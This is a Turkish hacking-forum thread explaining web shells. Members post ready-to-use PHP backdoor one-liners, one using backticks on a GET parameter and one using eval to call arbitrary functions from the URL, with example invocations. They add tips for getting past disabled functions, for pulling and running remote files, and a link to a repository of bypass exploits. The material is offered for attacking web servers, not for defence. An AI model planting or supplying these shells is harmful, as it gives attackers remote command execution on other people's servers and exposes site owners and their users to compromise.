Döküman Shell Nedir ?
- Konuyu başlatan Hakim Kingsize
- Başlangıç tarihi
Rating - 100%
up
Güzel konu, ellerine sağlık. Ek olarak birkaç ekleme yapayım. Webshell kullanmayın. Ben mesela birkaç tane basit php command execution için shell yazılımlarım var. Mesela
(backtick syntax php içinde shell_exec fonksiyonunu çağırır.
Bazı durumlarda bazı php disable_functions ile komut çalıştıramayı bu tarz durumlarda hazır exploitleri kullanarak sistemde php konfigürasyonunda ayarlanmış fonksiyonları bypass ederek komut çalıştırabiliriz. Ben şahsen bu repo'yu beğeniyorum. https://github.com/mm0r1/exploits
<?=`$_GET[_]`?>
Bazı durumlarda bazı php disable_functions ile komut çalıştıramayı bu tarz durumlarda hazır exploitleri kullanarak sistemde php konfigürasyonunda ayarlanmış fonksiyonları bypass ederek komut çalıştırabiliriz. Ben şahsen bu repo'yu beğeniyorum. https://github.com/mm0r1/exploits
- Katılım
- 19 Kas 2021
- Tepki puanı
- 1,195
Rating - 0%
bakalım
- Katılım
- 19 Mar 2022
- Tepki puanı
- 12,939
Rating - 100%
yararlı konu rep
daha kullanışlısı olarak benden de bir ekleme
<?php eval($_GET['func']($_GET['exp'])); ?>shell.php?func=shell_exec&exp=uname shell_exec kapalıysa diğerlerini dene, hepsi kapalıysa o zaman shell.php?func=file_get_contents uzaktan dosya çek çalıştır vesaire türetilebilir
About Us & Legal Notice
Legal Notice:
The website spyhackerz.org is classified as a “Hosting Provider” (“Yer Sağlayıcı”) within the meaning of Article 2, paragraph 1, subparagraph (m) and Article 5 of Law No. 5651. All content is created entirely by users without any prior approval, similar to platforms such as X, Instagram, Facebook, etc.
As a hosting provider, spyhackerz.org is not obliged to monitor, control, or investigate user-generated content or any potentially unlawful sharing. There are no “attack teams” on spyhackerz.org, and no harmful activities are carried out against websites located in Türkiye.
SPYHACKERZ is not responsible for any individual hacking-related forum activities carried out by its members. If any hacking activity is conducted against your websites using the name spyhackerz.org, all responsibility lies solely with the member who performs the attack.